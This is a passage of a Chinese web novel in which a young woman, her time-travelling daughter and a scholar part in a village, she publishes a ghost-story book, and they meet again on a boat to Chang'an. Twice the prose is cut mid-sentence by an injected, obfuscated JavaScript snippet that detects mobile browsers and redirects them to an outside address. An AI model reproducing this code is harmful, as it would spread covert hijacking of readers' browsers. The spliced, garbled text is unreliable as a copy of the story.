“不用了!”叶醒枝笑着拒绝。 “姐姐也来嘛!樱花雨很好玩哒!”陆葵葵不松手。 看着面前的少女,顿了顿,徐行之温煦的声音响起,“叶小姐若是不嫌弃,行之愿意效劳。” 叶醒枝当然不会嫌弃,而是,“这……不合适。” 徐行之唇角勾了勾,“无妨,叶小姐于我有救命之恩,可以把我当成阿竹兄弟。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494661|169604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶醒枝哪有能耐把一个秀才郎当成小厮使唤,正要拒绝,突然,片片樱花在她眼前纷飞,如雪似雨,似粉白的雾,落在她的发髻和襦裙上。 透过簌簌纷飞的樱花,叶醒枝看到了徐行之捧着樱花的双掌,还有那清润眉眼间的笑意。 在山下村,她也有了属于自己的樱花雨。 不知过了多久,徐行之掌中的樱花才尽数飘落到地上,少女的杏眸亮如星子,笑意盈盈的脸庞如这些樱花一样姝妍清灵,看了一眼,徐行之收回目光。 待在书房里写了那么久话本子的苦闷一扫而过,别说陆葵葵开心,叶醒枝此时也很是高兴,望着这一地樱花,“徐公子破费了。” 对于山下村村民来说,下了场樱花雨,那便不能卖果子赚钱了,这些樱花,应当是徐行之掏银子买来的。 “还好。”担心叶醒枝要和他算这一笔账,徐行之戏谑地道:“好歹当了这么多年的秀才,买一篮子樱花的钱还是有的。” 叶醒枝轻笑一声,重新回到书房写话本子时,灿烂的笑意一直留在她的春水眸里。 翌日,王东这位衙差下值后来了山下村,给叶醒枝送来了陆葵葵的户籍。 托叶醒枝的福,王东一连破了徐老七杀害二丫、徐众望山田埋尸小月这两桩命案,受到了河清县赵县令的奖赏,往上升了一级,是以,王东亲自来送户籍文书。 王东:“一直没打听到陆葵葵的任何消息,不能总让她当个隐户,叶小姐若是要收养她,现在就可以办户籍,不过,叶小姐不给葵葵改个姓吗?” “不必了,还是姓陆吧。”叶醒枝道了谢,让阿杏拿来一个荷包塞到王东手里,亲自送王东离开。 衙门有人好办事,陆葵葵突然出现在山下村,要是有人拿捏此事,再等两个月,叶醒枝也不一定能拿到户籍文书,误打误撞,倒是让她成了王东这位衙差的恩人。 当天下午,叶醒枝带着陆葵葵去了舅舅坟墓前,把这个好消息告诉了舅舅。 小土包一个挨着一个,柏树林中幽静得令人心惊,没有多停留,叶醒枝牵着陆葵葵的手往回走。 走到一处,陆葵葵突然笑着挥挥手,“姐姐!” 叶醒枝一颗心瞬间到了嗓子眼,“葵葵,你……你干什么?” “娘亲,那里有一个大姐姐呦!”陆葵葵指了指。 陆葵葵指的方向,正是一个小土包旁边,那里空无一人。 浑身像是泡在了幽冷的山泉中,叶醒枝抱起陆葵葵就往前头跑! 陆葵葵不明白,“娘亲,怎么了?” 叶醒枝不语,只是一味的跑。 还没跑出柏树林,前方一道修长的身影映入叶醒枝的眼帘,仿佛看到了救星,叶醒枝抱着陆葵葵跑了过去。 听到动静,徐行之回头,看到了像兔子一样抱着陆葵葵利落地跑过来的叶醒枝,面上露出浅笑,“叶小姐这是怎么了?” 那股阴冷的感觉终于从身上消散,放下陆葵葵,叶醒枝喘着粗气,“我来祭拜舅舅,刚才葵葵非说她在墓地里看到了一个大姐姐,你说吓人不吓人?” 徐行之方才在附近的另一片墓地里,与此处不算远,他倒是没看到什么脏东西,“葵葵,你真的看到了一个大姐姐?” “真哒!”陆葵葵点点头,“大姐姐还对葵葵笑了!” “你别说了!”叶醒枝恨不得捂着陆葵葵的嘴。 三岁半的小嘴,怎么能说出这么吓人的话? 她可是什么都没看到啊! 徐行之含笑问道:“叶小姐不是胆子挺大的吗?” “分人啊,看见人的时候胆子挺大的。”叶醒枝无奈一笑。 徐行之唇角的笑意更浓,要是看见鬼怪,这位叶小姐就要被吓到了。 “童言无忌,叶小姐不必太害怕,我有一同窗给县里一大户人家的小少爷启蒙,那小少爷不过四五岁,非说自己被我那位同窗打了手板,那大户人家老来得子,是个心疼儿子的,把我同窗给辞退了,我同窗不服气去讨说法,才弄清楚,原来是那小少爷午憩把梦境当成了真,他梦到自己被打手板,说出来的却是我同窗打了他,可见稚童的话当不得真!” 徐行之的这番安慰挺有效的,叶醒枝不怎么害怕了, 不管陆葵葵说什么,一律当成假的。 叶醒枝问道:“你也是来祭拜你叔婶吗?” 徐行之一贯会立孝敬叔婶、敬重堂兄的人设,微微颔首,“是,我要离开山下村了,再来徐叔徐婶和堂兄的墓前祭拜一次,下次回乡就不知道要到何时了。” 24. 不舍;回长安 “你要离开山下村了?”叶醒枝第一反应是陆葵葵要见不到爹爹了! 徐行之道:“我去洛州参加秋闱。” 目光落在少女的脸上,徐行之想,可能这会是与叶醒枝的最后一次见面。 感受到自己的右手被肉乎乎的小手握上,徐行之垂眸,陆葵葵脆生生的声音响起,“哥哥要去哪里?” 徐行之道:“要去洛州参加秋闱。” 陆葵葵不知道洛州在哪里,也听不懂什么是秋闱,“哥哥,葵葵不想你走,葵葵也要去!” 徐行之一愣,心头涌起了和陆葵葵圆圆脸蛋上一样的不舍,这应该也是最后一次见到小葵花吧。 若陆葵葵是他的妹妹就好了! 徐行之俯身,抱起了陆葵葵, “哥哥也舍不得你啊!” 真是奇怪,徐家那已经去了地底下的一家三口,把他禁锢在山下村整整十八年,他费尽心思才除掉徐东来、王霞和徐众望,不必再像之前那样藏拙,也不必再遭受暗算,不会“命不好”无法去到洛州参加秋闱了,此次离开山下村,徐行之该是畅快的,可此时他的心中却是有些不舍。 而让他产生这股情绪的人,是陆葵葵,还有叶醒枝。 徐行之出了声,“叶小姐,你可会将葵葵一起带回长安?” 叶醒枝道:“是,我回带葵葵回长安。” 徐行之放心了,若是叶醒枝无法带陆葵葵回长安,要把陆葵葵留在山下村或是送到其他地方,徐行之愿意收养陆葵葵。 带着一个三岁半的陆葵葵去走科举这条路,会很艰辛,但徐行之并不是冲动为之。 “王东衙差已经把葵葵的户籍文书办好了,我今天就是带她来舅舅坟前告诉舅舅这个好消息的。”叶醒枝补充道。 徐行之勾了勾唇,“这是好事。” 现在还不是父女相认的好时机,一旦把陆葵葵的存在告诉了徐行之,叶醒枝与徐行之也就被绑在了一起,可她并不愿这样;再者徐行之和陆葵葵的爹爹陆时安是否为同一个人,还不能十分确定。第三个原因嘛,徐行之要去洛州参加秋闱,这个时候把三岁半的陆葵葵其实是他从七年后穿回来的女儿的消息说出来,这不是在害徐行之吗? 再有三个月就是秋闱了,突然多出来一个三岁半的女儿,徐行之要如何备考? 即便徐行之十岁就中秀才,他知道此事后也绝对不会毫无波澜。 秋闱之后还有春闱,若徐行之有幸能到长安,那叶醒枝会考虑把这个消息告诉他。若徐行之今年八月名落孙山去不了长安,那叶醒枝就给陆葵葵再找一个爹爹吧。 “叶小姐的救命之恩,行之铭记于心,若有一日行之有幸去到长安,愿为叶小姐差遣。”徐行之很清楚,叶醒枝是官家小姐,而他只有名字出现在秋闱的桂榜上去到长安,才有资格去报恩,才有资格和叶醒枝以及陆葵葵见面。 “差遣就不必了。”叶醒枝杏眼弯了弯,“徐公子,祝你此去得偿所愿,平安顺利,葵葵在长安等你。” 听到叶醒枝的最后一句话,徐行之愣了愣,随即正色道:“我会的!” 只要死不了,他就会去到长安! “爹爹可以不要走吗?”趴在徐行之的怀里,陆葵葵撇了撇小嘴儿。 找到了娘亲,又好不容易找到了爹爹,可是她不能当着别人的面喊娘亲和爹爹,现在爹爹又要走了,陆葵葵不知道怎么才能再找到爹爹。 “葵葵……” 听着陆葵葵的哭声,徐行之只觉自己的一颗心像是被人捏了一下。 陆葵葵都冒出鼻涕泡了,该是多么舍不得他啊! 陆葵葵又对他喊出了“爹爹”这两个字,可是,他不是陆葵葵的爹爹。 如果他是陆葵葵的爹爹该有多好! 徐行之心头酸涩,“等哥哥去长安找你!” 叶醒枝也过来安慰了几句,陆葵葵抽噎着小身子,在葵花小包里掏了掏,“这是葵葵爱玩的草蚂蚱,给爹爹带着,爹爹要来找葵葵哟!” 像是担心徐行之会忘记,陆葵葵带着哭腔又补充了一句,“爹爹不要忘记葵葵呦!” “好。”允诺般徐行之珍重把草蚂蚱收了起来,抵上陆葵葵白嫩嫩的小眉头,“我会每天都想葵葵的!” 夕阳西下,又望了一眼叶醒枝和陆葵葵,徐行之这才踏上回徐家的路。 今夜的陆葵葵,成了水做的小葵花,叶醒枝百般安慰,“别哭了,等你爹爹忙完要事,一定会去长安找你的。” 穿着和叶醒枝同款粉嫩嫩的中衣,陆葵葵眼眶红红的,“爹爹要忙什么大事?” 叶醒枝把她冒出来的鼻涕泡擦去,“你爹爹要读书科考,考过了才能当县令。” “爹爹是县令啊,为什么还要读书?”陆葵葵哭红的小脸儿满是疑惑。 叶醒枝:“是县令也还要读书啊,读了书才能继续当县令,不然坏人就会把你爹爹抓走,不让你爹爹当县令了!所以,葵葵你不要哭了,等你爹爹通过了秋闱,他就会拿着草蚂蚱来长安找你的!” 陆葵葵哭声小了些,“那得多久啊,娘亲?” “再有三个月吧!”叶醒枝随口一说。 陆葵葵不知道三个月是多长时间,“那娘亲要提醒葵葵哟!” 叶醒枝温声应下,“好!” 陆葵葵: “等爹爹来了长安,葵葵要和爹爹娘亲一起住!” 一起住? 叶醒枝先应了下来。 陆葵葵又道:“爹爹要带着葵葵去买绿豆糕和糖葫芦吃!” 吃糖葫芦是不好的,但此刻叶醒枝主打一个通通答应,“行。” * 去洛州前,徐行之来了县学,打算和同窗一起出发。 徐行之翻阅了一些书籍,又向好几个同窗打听。 “思南县?”其中一个同窗有所耳闻,“好像是黔州下辖的一个下县,听说那里又穷又乱。” 黔州下辖的一个下县? 徐行之眉头微皱,黔州离山下村有千里之远,陆葵葵为何要说自己的爹爹是思南县的县令呢? 徐行之写了一封信寄回山下村,收信之人是叶醒枝。 他把打听到的有关思南县的消息写在了信中,不知是否会对陆葵葵找爹爹有帮助。 未收到这封信时,叶醒枝又来了河清县,把话本子的第二册送到了杨家书肆。 “叶小姐,您可算来了!若不是不知您的住处,我都想去找您了!”相比上次,这一次叶醒枝的身影刚出现在杨家书肆门口,杨掌柜就一脸热情地迎了上来。 可见她写的那本志怪话本子反响不错,叶醒枝落座时心想。 叶醒枝没有想错,杨家书肆虽然定价高,但发售的话本子一贯有质有量,多年下来,在河清县有了一批稳定的客源,即便是新出来的话本子,只要足够吸睛,一炮而红不是不可能的事,比如河清县赵县令的小女儿,便是杨家书肆的忠实顾客之一。 “一叶先生,这是新书啊?”夜里睡觉前,赵县令的小女儿坐在榻上翻阅着丫鬟白天从杨家书肆买回来的话本子。 虽然整个河清县有两家卖话本子的书肆都很出名,但河清书肆有量无质,杨家书肆的话本子更有内涵,更适合赵县令小女儿这样出身高的女眷解闷看。 赵县令的小女儿第一次看到“一叶先生”这个名字,翻开第一章时不抱什么期待,不过看了三章,她就靠在床头抱着这本话本子不放了。 等把第一册看完,赵县令的小女儿把剩下的话本子翻了一遍,也没找到第二册。 心痒痒睡不着觉,赵县令的小女儿还在想这本话本子的情节,真的会有贵公子一样的山神吗?被山神帮过的那些村民肯定要爱上山神吧?会不会县学里某个温文尔雅的读书人其实就是山神所化呢? 赵县令的小女儿也想一睹山神的俊容,夜深了还不忘叮嘱丫鬟,“等一叶先生的第二册发售了,你赶快买回来。” 第二日用早膳时,赵县令看到两眼呆愣的小女儿,皱起了额头,“可是又熬夜看话本子了?” 他并不禁止府里女眷观看话本子,但赵县令看不得儿女抱着话本子不放甚至熬夜观看。 担心县令爹爹要训斥她,赵县令的小女儿嘴硬道:“爹爹,女儿是在话本子里学知识的。” 赵县令怒极反笑,也不急着去前头的县衙了,“你说说你学了什么知识?” 学到了如何施法驱邪招魂、如何去山神庙里请出那位贵公子般的山神,当然,赵县令的小女儿可不敢说出来,“女儿…女儿知道树上的榆钱、地里的马齿苋其实都可以蒸着吃,还知道乡下家家户户都有地瓜窖,还有,其实有一些傻子不是傻子,看起来是傻子,但其实有数算天赋的。” 听到前面几句话,赵县令心中的怒火消散一二,虽然他的儿女用不着吃树上的榆钱和地里的马齿苋,但了解民情是好事,不过,听到小女儿的最后一句话,赵县令的眉头又皱了起来,“胡说,傻子怎么会有数算天赋?” “是真的,爹爹,XX村里就有一个这样的傻子。”虽只是话本子,但一叶先生描绘太过真实,第一册的内容似山泉般缓缓流淌,赵县令的女儿觉得可能真的有这么一个村子,村里山上的山神庙里住着一个贵公子般的山神。 刚出炉的话本子正是新鲜、正合赵县令小女儿的心意,她甚至胆大了些,敢向县令父亲推销这本话本子了,“一叶先生写的这本志怪话本子,女儿其实是被话本子里的一个个小故事所感动,一个母亲八九岁的女儿被村里的老头子欺负,丧了命,村里人都说是犯了外重丧,她女儿的死不是人为,那位母亲却不放弃,最终揪出了杀人凶手。还有一位八十岁的老母亲,照顾了她的傻儿子一辈子,那位老母亲临终前最担心的便是她那六十岁的傻儿子。女儿读后,只觉父母多不易,女儿以后一定要听您和母亲的话!” 当然,赵县令小女儿没敢当着赵县令的面提话本子的主角山神,她放在心里偷偷喜欢就好了。 小女儿孝顺,赵县令心头的怒火彻底消散,听到八十岁老母亲有一个傻儿子的这个故事,他想起了前段时间才办过的老母杀傻儿案。 用老鼠药毒害亲儿,此案不能张扬,不然山下村的那位李婆婆就成了不得好死的罪人,这起案件里被老母亲所毒害的老儿子便是一个傻子。 因着有共通点,赵县令道:“你把你看的这本话本子给为父送来。” 赵县令的小女儿:……早知道就少说话了! 处理过公务,赵县令一边品茶,掀开了小女儿让丫鬟送来的那本志怪话本子,本只是翻上几页就算了,赵县令主要是想看看这本话本子里是如何描写老母和其傻儿子的,因为他贵为县令,也不知道该如何处理山下村那桩老母杀傻儿案,如果他是李婆婆,似乎也没有更好的选择,没想到一盏茶喝完了,赵县令还没放下。 等衙差进来时,赵县令面上一本正经,放下了这本志怪话本子,心里却是想,确实挺好看的,等一叶先生所著的第二册出来了,该找什么借口问小女儿借来看呢? 衙差禀告:“大人,县学几位学子来求见。” 来县衙的几位学子是在参加秋闱前来拜别赵县令这个父母官的,其中就有徐行之。 赵县令见了他们,一番寒暄。 临送客前,赵县令想到了方才看过的那本话本子,正巧徐行之也在,递了过去,“行之,你瞧瞧这本话本子可眼熟?” 徐行之十岁中秀才时赵县令并不在任,但来到河清县后,赵县令听说过徐行知的事迹,十岁就中秀才的少年天才总是让人敬佩的,这几年的“命不好”也有不少人为其唏嘘,而最近徐行之又因为堂兄徐众望杀害村女小月一案“大出风头”,徐众望这个杀人犯是个歹竹,不过徐行之并未阻挠衙差办案,在其叔婶亡故前,徐行之更是用心侍奉,赵县令对徐行知的观感还是不错的。 容貌清逸又知礼,岂会不讨喜? 赵县令递过来的这本话本子,背景设定在XX村,主角是山上山神庙里一个贵公子般的山神,被山神帮助过的村民,有前几章溺水即将死亡的男童石头,也有失去了女儿的母亲,还有一个傻儿子的老母亲,徐行之翻了几章,自是觉得眼熟。 和山下村以及村里发生的那两起命案很是相像,不过,与现实不同,该话本子里有贵公子般的山神在,那些死于非命的孩童们最终被招回了魂魄,那位八十岁老母亲的傻儿子,最终也得到了山神的帮助,老母亲没有背负亲手杀傻儿子的痛苦。 徐行之道:“大人,是有些眼熟。” “该不会是你们村中哪位读书人所著吧?”赵县令对下辖各个村子都有所了解,不过,下一息他就改了口,“这位一叶先生瞧着是个姑娘家,不会是你们村中之人。” 徐行之不置可否,却莫名想到了一位姓叶的小娘子。 山下村确实没有能写出话本子的小娘子,但叶醒枝绝对可以。 望着“一叶先生”这四个字,徐行之若有所思,会是她吗? 话本子里除了背景和部分故事相像,叶醒枝前段时间还向他打听过话本子以及河清县两家书肆的事情。 赵县令又问了徐行之一些李婆婆和其傻儿子李平安生前的事情,得知李平安傻归傻,却是和一叶先生这本话本子所写一样,于数算上有天赋,赵县令很是惊讶。 徐行之道:“大人,学生考校过平安叔,平安叔的算盘,打得比县里一些账房先生都要好,学生本是想给他找个活计,好减轻李婆婆的负担,可惜平安叔生前性情不定,无法胜任。” 赵县令问道:“若是能调理好他的情绪,可能去铺子里当账房先生?” “可以。”徐行之道。 赵县令叹口气,八十岁的李婆婆毒杀其傻儿子一案,一直是赵县令心中的一根刺,此案的悲哀之处在于纵使赵县令和李婆婆换一换,他可能也会买包老鼠药。 这就是穷苦人家的悲哀啊! 这也是赵县令从小女儿那里借来这本话本子的原因。 赵县令想要找到解决方法。 像李平安这种看起来是个傻子但有数算天赋的人,应当不止他一个,整个大陈朝,有李婆婆这般困境的,定然也不只李婆婆一人。 如今听了徐行之的一番讲述,赵县令想,若是有方法能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508439|169604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 调理他们暴躁的脾性,让其尽可能似正常人一样,那似李平安这样的傻子便可以找到活计。此举不易,但只要一年一年慢慢尝试,最终定是可以少些李婆婆杀傻儿的惨案。 离开县衙后,徐行之没有立即与几个同窗回县学,而是去了杨家书肆。 “徐行之也是来买一叶先生的话本子的?”杨掌柜大吃一惊。 徐行之在县学读书八年,从来没有来过杨家书肆买话本子,当然,这位徐秀才也没有去过他死对头的那一家河清书肆。 “徐秀才真是来得巧,剩下最后一本了。”杨掌柜这次并没说谎,叶小姐所写的这本志怪话本子,这段时间在河清县很受欢迎,就连赵县令的小女儿都派丫鬟来问了好几次第二册发售的时间。 一反常态,徐行之付银子买下了最后一本。 有县学同窗写话本子,但他并未看过,今日却买下了一叶先生的这本话本子,徐行之也说不出自己的想法。 等出书肆走了一段路,徐行之不再纠结此事,就当他是想确认一下这位一叶先生是不是叶醒枝吧! * 来送第二册内容,杨掌柜主动提出要加价,叶醒枝拒绝了。 很明显杨掌柜的目的是希望叶醒枝继续写话本子送到杨家书肆发售,但叶醒枝要去往汴州探望母亲李庭芳了。 这一次,叶醒枝顺便把话本子的第三册也送来了,拿了四两银子,叶醒枝领着陆葵葵在县里逛街。 添置一些东西后,叶醒枝告别李婶子,送去银子,把每年给舅舅扫墓一事托付给了李婶子一家,锁上李家老宅,和陆葵葵坐马车去了汴州。 六日后,马车进入汴州,在赵家门口停下。 给同母异父的大姐姐赵言信送了见面礼,叶醒枝带着陆葵葵去了母亲李庭芳房里。 月子做足两个月,李庭芳还要二十来日才出月子,叶醒枝也给满月不久的小弟弟准备了见面礼。 “这就是葵葵吧?真是玉雪可爱!”张管家从山下村回来后,把叶醒枝要收养陆葵葵为其舅舅养女的事情告诉了李庭芳,和张管家猜想的一样,今日见到陆葵葵,李庭芳很是喜欢。 谁能不喜欢一个脸蛋圆圆、可爱灿烂的小葵花呢? 李庭芳招呼陆葵葵来她怀里,“枝枝啊,葵葵和你小时候长得很像,果真是和我们李家有缘分。” 叶醒枝笑起来,“母亲,葵葵和我现在长得也挺像的。” “这倒是!”李庭芳看了看叶醒枝,又看了看陆葵葵。 叶醒枝心想,陆葵葵其实是母亲的外孙女的事情,还是过几年再告诉母亲吧。 母亲改嫁到汴州后,叶醒枝已有几年没见到过母亲李庭芳,她最想知道的是母亲在赵家幸福不幸福,如今一看,叶醒枝已然知道答案。 几年间生了两个儿子,叶醒枝母亲李庭芳的面庞上竟然没有多出皱纹。 “你赵叔待我自然是好的,他这个人爱说梦话,他说出来的梦话,没有见不得人的,可和你父亲不一样!”李庭芳笑起来,“同样是说梦话,我从你父亲嘴里知道了他置别宅妇的秘密,你赵叔不是这样的人。” 叶醒枝为母亲高兴,“要是母亲当年和赵叔成亲便好了。” “那不就没你了?”李庭芳和叶醒枝口中的“赵叔”都是出身商户,年幼时便认识,但有叶醒枝在,李庭芳并不后悔找了个叶显山那样的前夫。 “枝枝啊,你也到了嫁人的年纪,母亲远在汴州,无法给你挑一门好亲事,但母亲会写一封信,你带回去交给你父亲,无论他为你定下了哪一家公子,都需征得你的同意。”李婶子道。 “还是母亲好。”叶醒枝扑过来撒着娇。 “还是外祖母好!”陆葵葵有样学样,也趴在了李庭芳怀里。 外祖母? “呦,这可不行学。”李庭芳笑起来。 不过,若自家的枝枝日后能生一个女儿,应当和三岁半的陆葵葵长相差不多。 “母亲,如果女儿未来的夫君可能是个歹竹,女儿该如何选择?”叶醒枝问出心中疑惑。 “那要看他坏的是哪方面,你赵叔是商人,包括你舅舅也是,缺斤少两的坏事他们没干过吗?旁人心里也是把他们当歹竹的。找一个圣人岂是容易事?”李庭芳伸出左掌,“就像母亲的这只手,只要最短的大拇指没有很短,那这只手就是好看的,就是有用的。” 徐行之那根“最短的大拇指”会短到什么程度,叶醒枝无法确定,但徐行之那些异常的表现,就属于“最短的大拇指”的一部分,这也是让叶醒枝心生困惑和纠结的原因。 叶醒枝曾经想过要避他远一点,可经过前段时间在山下村的相处以及母亲李庭芳今日的开导,叶醒枝心头的困惑与纠结散去,在徐东来、王霞和徐众望之死上,徐行之确实有些异常,可她并非徐家人,不清楚具体情况。。 “山神显灵”那一次,徐行之愿意支持她,对于和他不相干的陆葵葵,徐行之也很是疼爱,徐行之的本心还是不错的。 当然,即便徐行之就是陆葵葵的爹爹陆时安,也不意味着叶醒枝一定会选择徐行之当夫君。 酷暑难耐,不便带着陆葵葵赶路回长安,在洛州待了三个月,天气凉快下来,叶醒枝走水路准备回长安。 在赵家的这三个月,陆葵葵和叶醒枝的大弟弟赵言信,也就是陆葵葵的大舅舅,处成了“兄妹”,辈分彻底乱了套。 李庭芳也舍不得陆葵葵,想让陆葵葵留在赵家,自己的女儿自己养,叶醒枝还是带着陆葵葵踏上了回长安的船只。 陆葵葵不晕船,上船的第一天比盛夏绽开的向日葵还要灿烂,“娘亲,有鱼鱼!娘亲,我们捉鱼吧!” 吃了晕船药,叶醒枝也不太有精神,“娘亲不会哦!” “爹爹会!”陆葵葵脑袋瓜耷拉了下来,“要是爹爹在就好啦!” 陆葵葵她爹,谁知道在哪里呢?也不知道徐行之过了秋闱没有? “娘亲,是不是已经三个月了?”伸出三根白白的小手指,陆葵葵还记得叶醒枝的话,三个月后就能和爹爹见面。 叶醒枝敷衍道:“没呢!” “娘亲骗人,上船前外祖母说了过了三个月了。”陆葵葵鼓起小嘴巴。 叶醒枝:……母亲李庭芳口中的“三个月”,指的是叶醒枝和陆葵葵在赵家待了三个月,和陆葵葵说的三个月不是一回事啊! 不过时间确实对上了! “娘亲……没骗人。”叶醒枝不太好意思了,“葵葵,又有大鱼了,你来看鱼吧!” 一滴一滴泪珠从陆葵葵的大眼睛里落下来,陆葵葵低着脑袋瓜,只想找到自己的爹爹。 叶醒枝无奈叹口气,只好又一次说谎哄道:“我们在船上看能不能找到你爹爹。” 叶醒枝领着陆葵葵在船上绕了一圈,目的是为了转移她的注意力,拐弯时,走在前头的陆葵葵,小脑袋瓜撞到了一位穿着长袍的男子的怀里。 好疼啊! 陆葵葵抬起脑袋瓜,红红的大眼睛瞬间成了月牙儿,“爹爹!” 叶醒枝也看向那道颀长的身影,徐行之也在船上? 25. 为她下厨 清盈山水之间,那张宛若被秋水濯洗过的脸庞,不是徐行之又是谁? “葵葵?叶小姐?”徐行之清辉灿灿的脸上同样露出惊讶! “你也在船上啊!”叶醒枝惊讶笑起来! 这是从汴州走水路去往长安的船只,而徐行之在洛州参加秋闱,叶醒枝怎么也想不到会在船上遇到徐行之。 “是,我和一位同窗一起,本是要半个月后从洛州启程,不过那位同窗打听到汴州的船只最近几日就会出发,我和同窗便来了汴州。”徐行之解释道。 “徐公子……不,徐举人,恭喜徐举人高中!”叶醒枝笑着祝贺。 徐行之出现在去往长安的船只上,说明他通过秋闱成了举人了! 徐行之墨眸含笑,向叶醒枝道了谢。 感觉到自己被冷落的陆葵葵,像是爬树一样要爬到徐行之的身上,“爹爹,爹爹!” “爹爹抱葵葵呀!” 徐行之俯身把小葵花抱起来,“葵葵,想哥哥没有?” “想啦!”紧紧抱着徐行之的脖子不放,陆葵葵软糯的声音响起,“爹爹想葵葵没有?” 怜惜陆葵葵三岁半就没家里人抛弃,徐行之也没有纠正称呼,“当然想葵葵了,我不是答应过会每天都想葵葵的吗?” 说来也是奇怪,五月份的时候他离开山下村去往洛州,本是该一心扑在秋闱上,可是徐行之的脑中时常浮现陆葵葵那张圆圆的小脸儿。 明明和陆葵葵相处时间不长,可这个小葵花像是开在了他的心头。 只有去到长安,他才能再见到陆葵葵,徐行之备考更加用功。 “嘿嘿,葵葵也想爹爹啦!”吧唧一下,陆葵葵亲了上去。 开在心头的那朵小葵花动了动,徐行之的心弦仿佛也随之被拨动,欢喜与满足涌上心头。 真是奇怪! 这已经超出了他本该对陆葵葵有的感情! 叶醒枝都要没眼看了,“有了爹爹,就忘了娘亲啊!” 语气中都透着酸味。 徐行之忍俊不禁,“叶小姐可是吃醋了?” 虽然叶醒枝每天也会得到陆葵葵的亲亲,可毕竟陆葵葵三个多月没有见到自己爹爹了,对徐行之的亲近和黏糊,让叶醒枝的心里有些泛酸。 “还好吧!”叶醒枝才不会承认呢! 轻笑出声,抱着陆葵葵,徐行之与陆葵葵来到了甲板人少处,边走边道:“葵葵好像瘦了点。” “我带她来汴州探望我母亲,她和我弟弟赵言信像是两只猴子一样,在家里和街上到处乱跑,吃的不少,但就是瘦了。”陆葵葵道。 “个头也高了些。”徐行之回道。 “葵葵要像爹爹和娘亲一样高哟。”黏在徐行之的怀里,陆葵葵小脸儿扭过来。 叶醒枝看了徐行之一眼,如果徐行之就是陆葵葵的爹爹,那陆葵葵以后的身量应该不会矮。 “好,我们葵葵最高了!”徐行之的声音很是温柔。 若是徐东来和王霞在地府里能看到这一幕,估计眼珠子都能掉下来,徐行之把他们两个从山上推下来的时候,语气和神色要多冰冷有多冰冷! “徐解元,你什么时候多出来一个女儿?” 这“一家三口”太过养眼,甲板上还有其他来长安的学子好奇问道。 “徐解元?”叶醒枝眸子瞪大,徐行之竟然是秋闱的第一名? 方才在船上偶遇徐行之,得知他桂榜有名,叶醒枝就有些惊讶了,此刻听到“徐解元”这三个字,更是出乎叶醒枝的意料。 整个洛州的第一名,岂是容易事? 徐行之十岁就中了秀才,可仅靠这一点天赋,是不至于拿到秋闱第一名的,苦读十多年书的那些学子,于读书上有几个是吃素的? 况且,徐行之离开山下村前还受了伤,这种情况下还成为了解元,叶醒枝很是佩服,“你真是太厉害了,恭喜恭喜啊!” “还行吧。”学着叶醒枝刚才说的那句话,徐行之同样回了一句。 “葵葵她不是我女儿,我倒是想当她爹爹!”徐行之又对着说话的那位穿青色长袍的学子解释。 “对,葵葵是开玩笑的。”叶醒枝也帮忙解释一句。 可不能败坏徐解元的名声啊! “我就说嘛,没听说徐解元有妻女啊!”青色长袍的学子恍然大悟,徐行之拿了秋闱第一名,洛州城里盯上他的人家可太多了。 该学子又道:“不过,徐解元,你和这个女童有父女相,难怪你想收养她。” 父女相? 徐行之微微怔愣,这已经是第二个人这么说了,在山下村的时候,李婶子也说过这样的话。 叶醒枝在观察徐行之的反应,没有像上次那样出声反对,一来,如今的她已经接受了徐行之可能就是陆葵葵爹爹陆时安的事实,二来,如果徐行之是个有能力、德行也不错的人,叶醒枝才不会替陆葵葵拒绝有一个这样的爹爹呢! 温水煮着徐行之,看他的接受程度吧! 乘船的前几天,陆葵葵还会为在江里看到的大鱼感到惊喜,但过了几天,小葵花和叶醒枝都有些蔫蔫儿的。 船上太憋闷,每日还只能吃鱼粥,叶醒枝舀了一勺,对面的阿杏也舀了一勺喂到陆葵葵嘴里,母女俩还没咽进肚子里就同时吐了出来。 “娘亲,葵葵想吃大鸡腿,想吃鸡子拌饭,想吃糖葫芦!”陆葵葵口水都要流出来了。 “你娘亲我也想吃。”叶醒枝有气无力地道。 在船上想开小灶,找厨子做饭和找物资都不是一件容易的事,主要是前者,叶醒枝愿意花银子买吃的,但就算能找到厨子也得排队等,当然,叶醒枝还是不够有钱,不然雇个厨子又何妨? 徐行之过来的时候,就看到了母女俩馋嘴的模样。 徐行之摸了摸陆葵葵的脑袋瓜,“这是怎么了?” “肚肚饿!”陆葵葵撇撇小嘴。 在徐行之看过来的时候,叶醒枝也微微鼓嘴,“肚肚饿!” 徐行之轻笑一声,“你和葵葵不是肚子饿,是挑食。” 他生在山下村这样偏僻之地,倒还能适应。 叶醒枝嘴巴更鼓了,不想再说话。 “等我一会儿。”看了叶醒枝一眼,徐行之出去船舱前留下了这句话。 给陆葵葵拿了两个绿豆糕垫肚子,叶醒枝什么都不想吃,拿起了一本话本子。 不知过了多久,徐行之的身影刚出现在门口,一股鸡腿的肉香和酱汁香飘进叶醒枝和陆葵葵的鼻子里。 陆葵葵大大的眼睛发亮,叶醒枝也把话本子扔到一旁,杏眸亮晶晶的,“是鸡腿,还有鸡子拌饭!” “你从哪儿弄来的?” 